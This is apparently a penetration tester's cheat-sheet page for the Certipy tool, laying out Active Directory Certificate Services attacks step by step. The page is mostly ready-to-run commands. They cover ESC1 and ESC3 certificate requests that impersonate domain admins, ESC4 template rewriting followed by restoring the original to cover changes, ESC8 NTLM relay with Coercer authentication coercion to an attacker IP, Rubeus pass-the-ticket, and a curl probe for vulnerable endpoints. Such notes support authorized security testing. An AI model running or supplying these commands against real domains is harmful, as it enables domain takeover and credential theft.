# certipy.py

An awesome tool for abusing ADCS. Check out the awesome accompanying wiki for attack syntax.

# Install (potential) pre-reqs

# Find all certs

certipy -debug find -u user@domain.com -p '' 
  • Hint: use -ldap-scheme ldap right after the find command if you get a bunch of annoying ldap errors!)

# Find all VULNERABLE (and enabled!) certs

certipy -debug find -vulnerable -enabled -u user@domain.com -p ''
  • Hint: use -ldap-scheme ldap if you get a bunch of annoying ldap errors!)

# Abuse ESC1

sudo certipy req -username lowpriv@domain.com -password 'winter2021' -ca CA-01 -target vulnerableCA.domain.com -template 'vuln-template' -upn da-i-want-to-impersonate@domain.com -dns fqdn-of-a-dc.domain.com -key-size 4096

# Auth with the cert you just got

certipy auth -pfx administrator.pfx -dc-ip 172.16.16.16

# Abuse ESC3

Request a certificate for yourself:

certipy req -username user@domain.com -p 'YOURPASS' -ca NAME-OF-CA-1 -target caserver.domain.com -template VULNERABLE-TEMPLATE 

Request cert on behalf of a domain admin: Note - check this issue because in this second step, you need to "use a certificate template with schema version 1, or a template that explicitly requires an enrollment agent with the Certificate Request Agent EKU. The default User template usually does the trick." So I'll use the User template in this example:

certipy req -username user@domain.com -p 'YOURPASS' -ca NAME-OF-CA-1 -target caserver.domain.com -template User -on-behalf-of 'DOMAIN\some-domain-admin' -pfx user.pfx

# Abuse ESC4

BHIS has a nice blog about this, and the way I like to think of it is "If a group that my test AD account is a part of has 'write' permissions on a template, I can rewrite the config to make this ADCS config ESC1-attackable!"

After running certipy to discover vulnerable templates, check the output and review the permissions for:

  • Owner
  • WriteOwnerPrincipals
  • WriteDaclPrincipals
  • WritePropertyPrincipals

If you see a group like Domain Users in those permissions list, you can likely write changes to make the template vulnerable to ESC1! Do that like so:

certipy template -username user@domain.local -p 'Winter777!' -dc-ip 192.168.168.168 -template VULNERABLETEMPLATE -write-default-configuration
  • -write-default-configuration makes changes detailed in the certipy wiki (search for "Step 1: Modify the template to a vulnerable state"). The backup will be saved to a file such as templatename.json.

Then, do your ESC1-style attack!

sudo certipy req user@domain.local -p 'Winter777!' -dc-ip 192.168.168.168 -target ca.domain.local -ca 'VULNERABLE-CA' -template VULNERABLETEMPLATE -upn domainadmin@domain.local

Then when you're done with max pwnage, you can revert the changes:

certipy template -username user@domain.local -p 'Winter777!' -ca "VULNERABLE-CA" -target ca.domain.local -template VULNERABLETEMPLATE -dc-ip 192.168.168.168 -write-configuration 'templatename.json' -no-save
  • write-configuration backup.json applies the configuration from the specified JSON file
  • no-save prevents certipy from creating another backup of the (now malicious) configuration it's about to overwrite

# Abuse ESC8 (DC example)

certipy relay -target vulnca.domain.com -template DomainController [or KerberosAuthentication]

# Coerce auth

sudo python3 Coercer.py coerce -u lowpriv -p 'Winter2024!' -t ip.of.a.dc -l my.attacking.ip.addy

# Abuse the cert

certipy auth -pfx blah.pfx -domain domain.com
rubeus.exe asktgt /domain:domain.com /user:blah /rc4:NTLMHASH /nowrap
rubeus.exe ptt /ticket:THE-PTDC01-TGT-YOU-COPIED-TO-YOUR-CLIPBOARD-EARLIER

# Sanity check the CA is vulnerable to ESC8 with curl!

curl -sSLkI -u 'NETBIOS-NAME-OF-DOMAIN\user:password' --ntlm 'https://name.of.the.ca/certsrv/certfnsh.asp' 

If you get 401 unauthorized the endpoint is likely still vulnerable. Every time I've seen this and also received a header of WWW-Authenticate: NTLM the host has been vulnerable to ESC8.

On the other hand, I believe a 403 error indicates the endpoint has been hardened and/or the attack won't work.

On a recent assessment I got 401 unauthorized but the endpoint wasn't vulnerable. So I'm still not 100% how to determine vulnerability status unless I test it manually or just do certipy find -vulnerable

Note to self: if I call this file certipy.md in the file hierarchy, Docusaurus crashes. Wassupwitdat? I raised an issue in GitHub for this.

# Video demo (fixing ESC8)